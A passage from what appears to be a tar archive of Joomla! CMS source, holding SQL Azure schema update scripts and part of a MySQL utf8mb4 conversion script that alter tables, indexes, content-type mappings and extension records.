UPDATE [#__content_types] SET [table] = '{"special":{"dbtable":"#__categories","key":"id","type":"Category","prefix":"JTable","config":"array()"},"common":{"dbtable":"#__ucm_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}' WHERE [type_title] = 'Article Category';
UPDATE [#__content_types] SET [table] = '{"special":{"dbtable":"#__categories","key":"id","type":"Category","prefix":"JTable","config":"array()"},"common":{"dbtable":"#__ucm_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}' WHERE [type_title] = 'Contact Category';
UPDATE [#__content_types] SET [table] = '{"special":{"dbtable":"#__categories","key":"id","type":"Category","prefix":"JTable","config":"array()"},"common":{"dbtable":"#__ucm_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}' WHERE [type_title] = 'Newsfeeds Category';
UPDATE [#__content_types] SET [table] = '{"special":{"dbtable":"#__tags","key":"tag_id","type":"Tag","prefix":"TagsTable","config":"array()"},"common":{"dbtable":"#__ucm_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}' WHERE [type_title] = 'Tag';
UPDATE [#__content_types] SET [field_mappings] = '{"common":{"core_content_item_id":"id","core_title":"title","core_state":"state","core_alias":"alias","core_created_time":"created","core_modified_time":"modified","core_body":"introtext", "core_hits":"hits","core_publish_up":"publish_up","core_publish_down":"publish_down","core_access":"access", "core_params":"attribs", "core_featured":"featured", "core_metadata":"metadata", "core_language":"language", "core_images":"images", "core_urls":"urls", "core_version":"version", "core_ordering":"ordering", "core_metakey":"metakey", "core_metadesc":"metadesc", "core_catid":"catid", "core_xreference":"xreference", "asset_id":"asset_id"}, "special": {"fulltext":"fulltext"}}' WHERE [type_title] = 'Article';
UPDATE [#__content_types] SET [field_mappings] = '{"common":{"core_content_item_id":"id","core_title":"name","core_state":"published","core_alias":"alias","core_created_time":"created","core_modified_time":"modified","core_body":"address", "core_hits":"hits","core_publish_up":"publish_up","core_publish_down":"publish_down","core_access":"access", "core_params":"params", "core_featured":"featured", "core_metadata":"metadata", "core_language":"language", "core_images":"image", "core_urls":"webpage", "core_version":"version", "core_ordering":"ordering", "core_metakey":"metakey", "core_metadesc":"metadesc", "core_catid":"catid", "core_xreference":"xreference", "asset_id":"null"}, "special": {"con_position":"con_position","suburb":"suburb","state":"state","country":"country","postcode":"postcode","telephone":"telephone","fax":"fax","misc":"misc","email_to":"email_to","default_con":"default_con","user_id":"user_id","mobile":"mobile","sortname1":"sortname1","sortname2":"sortname2","sortname3":"sortname3"}}' WHERE [type_title] = 'Contact';
UPDATE [#__content_types] SET [field_mappings] = '{"common":{"core_content_item_id":"id","core_title":"name","core_state":"published","core_alias":"alias","core_created_time":"created","core_modified_time":"modified","core_body":"description", "core_hits":"hits","core_publish_up":"publish_up","core_publish_down":"publish_down","core_access":"access", "core_params":"params", "core_featured":"featured", "core_metadata":"metadata", "core_language":"language", "core_images":"images", "core_urls":"link", "core_version":"version", "core_ordering":"ordering", "core_metakey":"metakey", "core_metadesc":"metadesc", "core_catid":"catid", "core_xreference":"xreference", "asset_id":"null"}, "special": {"numarticles":"numarticles","cache_time":"cache_time","rtl":"rtl"}}' WHERE [type_title] = 'Newsfeed';
UPDATE [#__content_types] SET [field_mappings] = '{"common":{"core_content_item_id":"id","core_title":"name","core_state":"null","core_alias":"username","core_created_time":"registerdate","core_modified_time":"lastvisitDate","core_body":"null", "core_hits":"null","core_publish_up":"null","core_publish_down":"null","access":"null", "core_params":"params", "core_featured":"null", "core_metadata":"null", "core_language":"null", "core_images":"null", "core_urls":"null", "core_version":"null", "core_ordering":"null", "core_metakey":"null", "core_metadesc":"null", "core_catid":"null", "core_xreference":"null", "asset_id":"null"}, "special": {}}' WHERE [type_title] = 'User';
UPDATE [#__content_types] SET [field_mappings] = '{"common":{"core_content_item_id":"id","core_title":"title","core_state":"published","core_alias":"alias","core_created_time":"created_time","core_modified_time":"modified_time","core_body":"description", "core_hits":"hits","core_publish_up":"null","core_publish_down":"null","core_access":"access", "core_params":"params", "core_featured":"null", "core_metadata":"metadata", "core_language":"language", "core_images":"null", "core_urls":"null", "core_version":"version", "core_ordering":"null", "core_metakey":"metakey", "core_metadesc":"metadesc", "core_catid":"parent_id", "core_xreference":"null", "asset_id":"asset_id"}, "special": {"parent_id":"parent_id","lft":"lft","rgt":"rgt","level":"level","path":"path","extension":"extension","note":"note"}}' WHERE [type_title] = 'Article Category';
UPDATE [#__content_types] SET [field_mappings] = '{"common":{"core_content_item_id":"id","core_title":"title","core_state":"published","core_alias":"alias","core_created_time":"created_time","core_modified_time":"modified_time","core_body":"description", "core_hits":"hits","core_publish_up":"null","core_publish_down":"null","core_access":"access", "core_params":"params", "core_featured":"null", "core_metadata":"metadata", "core_language":"language", "core_images":"null", "core_urls":"null", "core_version":"version", "core_ordering":"null", "core_metakey":"metakey", "core_metadesc":"metadesc", "core_catid":"parent_id", "core_xreference":"null", "asset_id":"asset_id"}, "special": {"parent_id":"parent_id","lft":"lft","rgt":"rgt","level":"level","path":"path","extension":"extension","note":"note"}}' WHERE [type_title] = 'Contact Category';
UPDATE [#__content_types] SET [field_mappings] = '{"common":{"core_content_item_id":"id","core_title":"title","core_state":"published","core_alias":"alias","core_created_time":"created_time","core_modified_time":"modified_time","core_body":"description", "core_hits":"hits","core_publish_up":"null","core_publish_down":"null","core_access":"access", "core_params":"params", "core_featured":"null", "core_metadata":"metadata", "core_language":"language", "core_images":"null", "core_urls":"null", "core_version":"version", "core_ordering":"null", "core_metakey":"metakey", "core_metadesc":"metadesc", "core_catid":"parent_id", "core_xreference":"null", "asset_id":"asset_id"}, "special": {"parent_id":"parent_id","lft":"lft","rgt":"rgt","level":"level","path":"path","extension":"extension","note":"note"}}' WHERE [type_title] = 'Newsfeeds Category';
UPDATE [#__content_types] SET [field_mappings] = '{"common":{"core_content_item_id":"id","core_title":"title","core_state":"published","core_alias":"alias","core_created_time":"created_time","core_modified_time":"modified_time","core_body":"description", "core_hits":"hits","core_publish_up":"null","core_publish_down":"null","core_access":"access", "core_params":"params", "core_featured":"featured", "core_metadata":"metadata", "core_language":"language", "core_images":"images", "core_urls":"urls", "core_version":"version", "core_ordering":"null", "core_metakey":"metakey", "core_metadesc":"metadesc", "core_catid":"null", "core_xreference":"null", "asset_id":"null"}, "special": {"parent_id":"parent_id","lft":"lft","rgt":"rgt","level":"level","path":"path"}}' WHERE [type_title] = 'Tag';
com_admin/sql/updates/sqlazure/2.5.6.sql000060400000000071152455305270013777 0ustar00# Placeholder file for database changes for version 2.5.6com_admin/sql/updates/sqlazure/3.9.16-2020-03-04.sql000060400000000310152455305270015103 0ustar00DROP INDEX [username] ON [#__users];

CREATE UNIQUE INDEX [idx_username] ON [#__users]
(
  [username] ASC
)WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);com_admin/sql/updates/sqlazure/3.7.0-2017-02-17.sql000060400000002025152455305270015030 0ustar00-- Normalize contact_details table default values.
DECLARE @table AS nvarchar(32)
DECLARE @constraintName AS nvarchar(100)
DECLARE @constraintQuery AS nvarchar(1000)
SET QUOTED_IDENTIFIER OFF
SET @table = "#__contact_details"
SET QUOTED_IDENTIFIER ON
SELECT @constraintName = name FROM sys.default_constraints
WHERE parent_object_id = object_id(@table)
AND parent_column_id = columnproperty(object_id(@table), 'name', 'ColumnId')
SET @constraintQuery = 'ALTER TABLE [' + @table + '] DROP CONSTRAINT [' + @constraintName + ']'
EXECUTE sp_executesql @constraintQuery;

ALTER TABLE [#__contact_details] ADD DEFAULT (0) FOR [published];
ALTER TABLE [#__contact_details] ADD DEFAULT (0) FOR [checked_out];
ALTER TABLE [#__contact_details] ADD DEFAULT ('') FOR [created_by_alias];

ALTER TABLE [#__contact_details] ADD DEFAULT ('') FOR [sortname1];
ALTER TABLE [#__contact_details] ADD DEFAULT ('') FOR [sortname2];
ALTER TABLE [#__contact_details] ADD DEFAULT ('') FOR [sortname3];
ALTER TABLE [#__contact_details] ADD DEFAULT ('') FOR [xreference];
com_admin/sql/updates/sqlazure/3.9.0-2018-06-14.sql000060400000001023152455305270015031 0ustar00INSERT INTO "#__postinstall_messages" ("extension_id", "title_key", "description_key", "action_key", "language_extension", "language_client_id", "type", "action_file", "action", "condition_file", "condition_method", "version_introduced", "enabled") VALUES
(700, 'COM_ACTIONLOGS_POSTINSTALL_TITLE', 'COM_ACTIONLOGS_POSTINSTALL_BODY', '', 'com_actionlogs', 1, 'message', '', '', '', '', '3.9.0', 1),
(700, 'COM_PRIVACY_POSTINSTALL_TITLE', 'COM_PRIVACY_POSTINSTALL_BODY', '', 'com_privacy', 1, 'message', '', '', '', '', '3.9.0', 1);
com_admin/sql/updates/sqlazure/3.9.27-2021-04-20.sql000060400000000510152455305270015107 0ustar00INSERT INTO [#__postinstall_messages] ([extension_id], [title_key], [description_key], [language_extension], [language_client_id], [type], [version_introduced], [enabled])
VALUES
(700, 'COM_ADMIN_POSTINSTALL_MSG_FLOC_BLOCKER_TITLE', 'COM_ADMIN_POSTINSTALL_MSG_FLOC_BLOCKER_DESCRIPTION', 'com_admin', 1, 'message', '3.9.27', 1);
com_admin/sql/updates/sqlazure/3.9.0-2018-06-13.sql000060400000000750152455305270015036 0ustar00SET IDENTITY_INSERT "#__extensions" ON;

INSERT INTO "#__extensions" ("extension_id", "package_id", "name", "type", "element", "folder", "client_id", "enabled", "access", "protected", "manifest_cache", "params", "custom_data", "system_data", "checked_out", "checked_out_time", "ordering", "state") VALUES
(488, 0, 'plg_quickicon_privacycheck', 'plugin', 'privacycheck', 'quickicon', 0, 1, 1, 0, '', '{}', '', '', 0, '1900-01-01 00:00:00', 0, 0);

SET IDENTITY_INSERT "#__extensions" OFF;
com_admin/sql/updates/sqlazure/3.3.0-2014-02-16.sql000060400000000105152455305270015015 0ustar00ALTER TABLE [#__users] ADD [requireReset] [smallint] NULL DEFAULT 0;
com_admin/sql/updates/sqlazure/3.0.2.sql000060400000000071152455305270013767 0ustar00# Placeholder file for database changes for version 3.0.2com_admin/sql/updates/sqlazure/3.7.0-2016-11-04.sql000060400000001215152455305270015023 0ustar00-- Change default value for enabled column.
DECLARE @table AS nvarchar(100)
DECLARE @constraintName AS nvarchar(100)
DECLARE @constraintQuery AS nvarchar(1000)
SET QUOTED_IDENTIFIER OFF
SET @table = "#__extensions"
SET QUOTED_IDENTIFIER ON
SELECT @constraintName = name FROM sys.default_constraints
WHERE parent_object_id = object_id(@table)
AND parent_column_id = columnproperty(object_id(@table), 'enabled', 'ColumnId')
SET @constraintQuery = 'ALTER TABLE [' + @table + '] DROP CONSTRAINT [' + @constraintName
+ ']; ALTER TABLE [' + @table + '] ADD CONSTRAINT [' + @constraintName + '] DEFAULT 0 FOR [enabled]'
EXECUTE sp_executesql @constraintQuery;
com_admin/sql/updates/sqlazure/3.9.0-2018-10-21.sql000060400000000734152455305270015032 0ustar00SET IDENTITY_INSERT "#__extensions" ON;

INSERT INTO "#__extensions" ("extension_id", "package_id", "name", "type", "element", "folder", "client_id", "enabled", "access", "protected", "manifest_cache", "params", "custom_data", "system_data", "checked_out", "checked_out_time", "ordering", "state") VALUES
(495, 0, 'plg_privacy_consents', 'plugin', 'consents', 'privacy', 0, 1, 1, 0, '', '{}', '', '', 0, '1900-01-01 00:00:00', 0, 0);

SET IDENTITY_INSERT "#__extensions" OFF;
com_admin/sql/updates/sqlazure/3.4.0-2014-09-16.sql000060400000000463152455305270015034 0ustar00ALTER TABLE [#__redirect_links] ADD [header] [smallint] NOT NULL DEFAULT 301;
--
-- The following statement has to be disabled because it conflicts with
-- a later change added with Joomla! 3.5.0 for long URLs in this table
--
-- ALTER TABLE [#__redirect_links] ALTER COLUMN [new_url] [nvarchar](255) NULL;
com_admin/sql/updates/sqlazure/3.6.0-2016-04-09.sql000060400000000164152455305270015033 0ustar00--
-- Add ACL check for to #__menu_types
--

ALTER TABLE [#__menu_types] ADD [asset_id] [bigint] NOT NULL DEFAULT 0;com_admin/sql/updates/sqlazure/3.7.0-2016-08-29.sql000060400000013673152455305270015053 0ustar00/****** Object:  Table [#__fields] ******/

SET QUOTED_IDENTIFIER ON;

CREATE TABLE [#__fields] (
	[id] [int] IDENTITY(1,1) NOT NULL,
	[asset_id] [int] NOT NULL DEFAULT 0,
	[context] [nvarchar](255) NOT NULL DEFAULT '',
	[group_id] [int] NOT NULL DEFAULT 0,
	[title] [nvarchar](255) NOT NULL DEFAULT '',
	[name] [nvarchar](255) NOT NULL DEFAULT '',
	[label] [nvarchar](255) NOT NULL DEFAULT '',
	[default_value] [nvarchar](max) NOT NULL DEFAULT '',
	[type] [nvarchar](255) NOT NULL DEFAULT '',
	[note] [nvarchar](255) NOT NULL DEFAULT '',
	[description] [nvarchar](max) NOT NULL DEFAULT '',
	[state] [smallint] NOT NULL DEFAULT 0,
	[required] [smallint] NOT NULL DEFAULT 0,
	[checked_out] [bigint] NOT NULL DEFAULT 0,
	[checked_out_time] [datetime] NOT NULL DEFAULT '1900-01-01 00:00:00',
	[ordering] [int] NOT NULL DEFAULT 0,
	[params] [nvarchar](max) NOT NULL DEFAULT '',
	[fieldparams] [nvarchar](max) NOT NULL DEFAULT '',
	[language] [nvarchar](7) NOT NULL DEFAULT '',
	[created_time] [datetime] NOT NULL DEFAULT '1900-01-01T00:00:00.000',
	[created_user_id] [bigint] NOT NULL DEFAULT 0,
	[modified_time] [datetime] NOT NULL DEFAULT '1900-01-01T00:00:00.000',
	[modified_by] [bigint] NOT NULL DEFAULT 0,
	[access] [int] NOT NULL DEFAULT 1,
CONSTRAINT [PK_#__fields_id] PRIMARY KEY CLUSTERED(
	[id] ASC)
WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON
) ON [PRIMARY]) ON [PRIMARY];

CREATE NONCLUSTERED INDEX [idx_checkout] ON [#__fields](
	[checked_out] ASC)
WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);

CREATE NONCLUSTERED INDEX [idx_state] ON [#__fields](
	[state] ASC)
WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);

CREATE NONCLUSTERED INDEX [idx_access] ON [#__fields](
	[access] ASC)
WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);

CREATE NONCLUSTERED INDEX [idx_context] ON [#__fields](
	[context] ASC)
WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);

CREATE NONCLUSTERED INDEX [idx_language] ON [#__fields](
	[language] ASC)
WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);

/****** Object:  Table [#__fields_categories] ******/

SET QUOTED_IDENTIFIER ON;

CREATE TABLE [#__fields_categories] (
	[field_id] [int] NOT NULL DEFAULT 0,
	[category_id] [int] NOT NULL DEFAULT 0,
CONSTRAINT [PK_#__fields_categories_id] PRIMARY KEY CLUSTERED(
	[field_id] ASC,
	[category_id] ASC)
WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON
) ON [PRIMARY]) ON [PRIMARY];

/****** Object:  Table [#__fields_groups] ******/

SET QUOTED_IDENTIFIER ON;

CREATE TABLE [#__fields_groups] (
	[id] [int] IDENTITY(1,1) NOT NULL,
	[asset_id] [int] NOT NULL DEFAULT 0,
	[context] [nvarchar](255) NOT NULL DEFAULT '',
	[title] [nvarchar](255) NOT NULL DEFAULT '',
	[note] [nvarchar](255) NOT NULL DEFAULT '',
	[description] [nvarchar](max) NOT NULL DEFAULT '',
	[state] [smallint] NOT NULL DEFAULT 0,
	[checked_out] [bigint] NOT NULL DEFAULT 0,
	[checked_out_time] [datetime] NOT NULL DEFAULT '1900-01-01 00:00:00',
	[ordering] [int] NOT NULL DEFAULT 0,
	[language] [nvarchar](7) NOT NULL DEFAULT '',
	[created] [datetime] NOT NULL DEFAULT '1900-01-01T00:00:00.000',
	[created_by] [bigint] NOT NULL DEFAULT 0,
	[modified] [datetime] NOT NULL DEFAULT '1900-01-01T00:00:00.000',
	[modified_by] [bigint] NOT NULL DEFAULT 0,
	[access] [int] NOT NULL DEFAULT 1,
CONSTRAINT [PK_#__fields_groups_id] PRIMARY KEY CLUSTERED(
	[id] ASC)
WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON
 ) ON [PRIMARY]) ON [PRIMARY];

CREATE NONCLUSTERED INDEX [idx_checkout] ON [#__fields_groups](
	[checked_out] ASC)
WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);

CREATE NONCLUSTERED INDEX [idx_state] ON [#__fields_groups](
	[state] ASC)
WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);

CREATE NONCLUSTERED INDEX [idx_created_by] ON [#__fields_groups](
	[created_by] ASC)
WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);

CREATE NONCLUSTERED INDEX [idx_access] ON [#__fields_groups](
	[access] ASC)
WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);

CREATE NONCLUSTERED INDEX [idx_context] ON [#__fields_groups](
	[context] ASC)
WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);

CREATE NONCLUSTERED INDEX [idx_language] ON [#__fields_groups](
	[language] ASC)
WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);

/****** Object:  Table [#__fields_values] ******/

SET QUOTED_IDENTIFIER ON;

CREATE TABLE [#__fields_values] (
	[field_id] [bigint] NOT NULL DEFAULT 1,
	[item_id] [nvarchar](255) NOT NULL DEFAULT '',
	[value] [nvarchar](max) NOT NULL DEFAULT '',
) ON [PRIMARY];

CREATE NONCLUSTERED INDEX [idx_field_id] ON [#__fields_values](
	[field_id] ASC)
WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);

CREATE NONCLUSTERED INDEX [idx_item_id] ON [#__fields_values](
	[item_id] ASC)
WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);

SET IDENTITY_INSERT [#__extensions] ON;

INSERT INTO [#__extensions] ([extension_id], [name], [type], [element], [folder], [client_id], [enabled], [access], [protected], [manifest_cache], [params], [custom_data], [system_data], [checked_out], [checked_out_time], [ordering], [state])
SELECT 33, 'com_fields', 'component', 'com_fields', '', 1, 1, 1, 0, '', '', '', '', 0, '1900-01-01 00:00:00', 0, 0
UNION ALL
SELECT 461, 'plg_system_fields', 'plugin', 'fields', 'system', 0, 1, 1, 0, '', '', '', '', 0, '1900-01-01 00:00:00', 0, 0


SET IDENTITY_INSERT [#__extensions] OFF;
com_admin/sql/updates/sqlazure/3.9.0-2018-05-19.sql000060400000000734152455305270015045 0ustar00SET IDENTITY_INSERT "#__extensions" ON;

INSERT INTO "#__extensions" ("extension_id", "package_id", "name", "type", "element", "folder", "client_id", "enabled", "access", "protected", "manifest_cache", "params", "custom_data", "system_data", "checked_out", "checked_out_time", "ordering", "state") VALUES
(481, 0, 'plg_fields_repeatable', 'plugin', 'repeatable', 'fields', 0, 1, 1, 0, '', '', '', '', 0, '1900-01-01 00:00:00', 0, 0);

SET IDENTITY_INSERT "#__extensions" OFF;
com_admin/sql/updates/sqlazure/3.3.6-2014-09-30.sql000060400000000723152455305270015034 0ustar00INSERT INTO [#__update_sites] ([name], [type], [location], [enabled])
SELECT 'Joomla! Update Component Update Site', 'extension', 'https://update.joomla.org/core/extensions/com_joomlaupdate.xml', 1;

INSERT INTO [#__update_sites_extensions] ([update_site_id], [extension_id])
SELECT (SELECT [update_site_id] FROM [#__update_sites] WHERE [name] = 'Joomla! Update Component Update Site'), (SELECT [extension_id] FROM [#__extensions] WHERE [name] = 'com_joomlaupdate');
com_admin/sql/others/mysql/utf8mb4-conversion-02.sql000060400000044367152455305270016400 0ustar00--
-- Step 2 of the UTF-8 Multibyte (utf8mb4) conversion for MySQL
--
-- Enlarge some database columns to avoid data losses, then convert all tables
-- to utf8mb4 or utf8, then set default character sets and collations for all
-- tables, then add back indexes previosly dropped with step 1,
-- utf8mb4-conversion-01.sql, but add them back with limited lenghts of
-- columns.
--
-- Do not rename this file or any other of the utf8mb4-conversion-*.sql
-- files unless you want to change PHP code, too.
--
-- IMPORTANT: When adding an index modification to this file for limiting the
-- length by which one or more columns go into that index,
--
-- 1. remember to add the statement to drop the index to the file for step 1,
--    utf8mb4-conversion-01.sql, and
--
-- 2. check if the index is created created or modified in some old schema
--    update sql in an "ALTER TABLE" statement and limit the column length
--    there, too ("CREATE TABLE" is ok, no need to modify those).
--
-- This file here will the be processed with reporting exceptions, in opposite
-- to the file for step 1.
--

--
-- Step 2.1: Enlarge columns to avoid data loss on later conversion to utf8mb4
--

ALTER TABLE `#__banners` MODIFY `alias` varchar(400) NOT NULL DEFAULT '';
ALTER TABLE `#__banners` MODIFY `metakey_prefix` varchar(400) NOT NULL DEFAULT '';
ALTER TABLE `#__categories` MODIFY `path` varchar(400) NOT NULL DEFAULT '';
ALTER TABLE `#__categories` MODIFY `alias` varchar(400) NOT NULL DEFAULT '';
ALTER TABLE `#__content_types` MODIFY `type_alias` varchar(400) NOT NULL DEFAULT '';
ALTER TABLE `#__finder_links` MODIFY `title` varchar(400) DEFAULT NULL;
ALTER TABLE `#__contact_details` MODIFY `alias` varchar(400) NOT NULL DEFAULT '';
ALTER TABLE `#__content` MODIFY `alias` varchar(400) NOT NULL DEFAULT '';
ALTER TABLE `#__menu` MODIFY `alias` varchar(400) NOT NULL COMMENT 'The SEF alias of the menu item.';
ALTER TABLE `#__newsfeeds` MODIFY `alias` varchar(400) NOT NULL DEFAULT '';
ALTER TABLE `#__tags` MODIFY `path` varchar(400) NOT NULL DEFAULT '';
ALTER TABLE `#__tags` MODIFY `alias` varchar(400) NOT NULL DEFAULT '';
ALTER TABLE `#__ucm_content` MODIFY `core_type_alias` varchar(400) NOT NULL DEFAULT '' COMMENT 'FK to the content types table';
ALTER TABLE `#__ucm_content` MODIFY `core_title` varchar(400) NOT NULL DEFAULT '';
ALTER TABLE `#__ucm_content` MODIFY `core_alias` varchar(400) NOT NULL DEFAULT '';
ALTER TABLE `#__users` MODIFY `name` varchar(400) NOT NULL DEFAULT '';

--
-- Step 2.2: Convert all tables to utf8mb4 character set with utf8mb4_unicode_ci collation
-- except #__finder_xxx tables, those will have utf8mb4_general_ci collation.
-- Note: The database driver for mysql will change utf8mb4 to utf8 if utf8mb4 is not supported
--

ALTER TABLE `#__assets` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__associations` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__banners` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__banner_clients` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__banner_tracks` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__categories` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__contact_details` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__content` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__content_frontpage` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__content_rating` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__content_types` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__contentitem_tag_map` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__core_log_searches` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__extensions` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__fields` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__fields_categories` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__fields_groups` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__fields_values` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__finder_filters` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE `#__finder_links` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE `#__finder_links_terms0` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE `#__finder_links_terms1` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE `#__finder_links_terms2` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE `#__finder_links_terms3` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE `#__finder_links_terms4` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE `#__finder_links_terms5` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE `#__finder_links_terms6` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE `#__finder_links_terms7` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE `#__finder_links_terms8` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE `#__finder_links_terms9` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE `#__finder_links_termsa` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE `#__finder_links_termsb` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE `#__finder_links_termsc` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE `#__finder_links_termsd` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE `#__finder_links_termse` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE `#__finder_links_termsf` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE `#__finder_taxonomy` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE `#__finder_taxonomy_map` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE `#__finder_terms` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE `#__finder_terms_common` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE `#__finder_tokens` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE `#__finder_tokens_aggregate` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE `#__finder_types` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE `#__languages` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__menu` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__menu_types` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__messages` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__messages_cfg` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__modules` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__modules_menu` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__newsfeeds` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__overrider` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ALTER TABLE `#__postinstall_messages` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
